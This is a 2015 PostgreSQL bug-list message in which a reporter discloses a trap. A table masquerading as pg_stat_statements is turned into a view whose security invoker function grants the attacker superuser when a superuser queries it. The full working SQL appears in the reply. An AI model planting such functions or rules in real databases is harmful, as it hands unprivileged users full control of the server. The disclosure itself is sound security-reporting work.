From: | 德哥 <digoal(at)126(dot)com> |
---|---|
To: | "David G(dot) Johnston" <david(dot)g(dot)johnston(at)gmail(dot)com> |
Cc: | "pgsql-bugs(at)postgresql(dot)org" <pgsql-bugs(at)postgresql(dot)org> |
Subject: | Re: BUG #13651: trigger security invoker attack |
Date: | 2015-09-30 01:16:26 |
Message-ID: | 3ed1e8e4.24ae.1501bd26a65.Coremail.digoal@126.com |
Views: | Raw Message | Whole Thread | Download mbox | Resend email |
Thread: | |
Lists: | pgsql-bugs |
a normal user get super privilege, use security invoker function.
postgres=> create table pg_stat_statements (
userid oid ,
dbid oid ,
queryid bigint ,
query text ,
calls bigint ,
total_time double precision ,
rows bigint ,
shared_blks_hit bigint ,
shared_blks_read bigint ,
shared_blks_dirtied bigint ,
shared_blks_written bigint ,
local_blks_hit bigint ,
local_blks_read bigint ,
local_blks_dirtied bigint ,
local_blks_written bigint ,
temp_blks_read bigint ,
temp_blks_written bigint ,
blk_read_time double precision ,
blk_write_time double precision );
postgres=> create or replace function f() returns pg_stat_statements as $$
declare
begin
alter role digoal superuser;
end;
$$ language plpgsql security invoker;
CREATE FUNCTION
postgres=> create rule "_RETURN" as on select to pg_stat_statements do instead select * from f();
CREATE RULE
When a super user select the view pg_stat_statements , the normal user digoal will granted the superuser role.
Yes, it's a normal operation ,but somebody can use these trick.
--
公益是一辈子的事,I'm Digoal,Just Do It.
在 2015-09-29 23:48:12,"David G. Johnston" <david(dot)g(dot)johnston(at)gmail(dot)com> 写道:
On Tuesday, September 29, 2015, <digoal(at)126(dot)com> wrote:
The following bug has been logged on the website:
Bug reference: 13651
Logged by: digoal
Email address: digoal(at)126(dot)com
PostgreSQL version: 9.4.4
Operating system: CentOS 6.x x64
Description:
In my database, there have two role, one normal user, one superuser.
postgres=# \dt
List of relations
Schema | Name | Type | Owner
--------+------------------+-------+----------
public | customer_reviews | table | postgres
public | t | table | digoal
public | t1 | table | postgres
public | t2 | table | postgres
public | t3 | table | postgres
Elided truncate trigger dropping t1...
And rule is security.
postgres=# \c postgres digoal
You are now connected to database "postgres" as user "digoal".
postgres=> create rule r1 as on delete to t do instead delete from t1;
CREATE RULE
postgres=> delete from t;
ERROR: permission denied for relation t1
I'm surprised this works since t1 shouldn't exist...
postgres=> \c postgres postgres
You are now connected to database "postgres" as user "postgres".
postgres=# \set VERBOSITY verbose
postgres=# delete from t;
ERROR: 42501: permission denied for relation t1
LOCATION: aclcheck_error, aclchk.c:3371
But since t1 does exist and t is owned by digoal the fact that this fails with a permission error is unsurprising. Rules execute as the owner of the relation to which they are attached in order to facilitate data hiding,
David J.
From | Date | Subject | |
---|---|---|---|
Next Message | David G. Johnston | 2015-09-30 02:01:12 | Re: BUG #13651: trigger security invoker attack |
Previous Message | Alvaro Herrera | 2015-09-29 21:15:53 | Re: BUG #13648: Old Records disappearing after upgrade from 9.4.1 to 9.4.4 |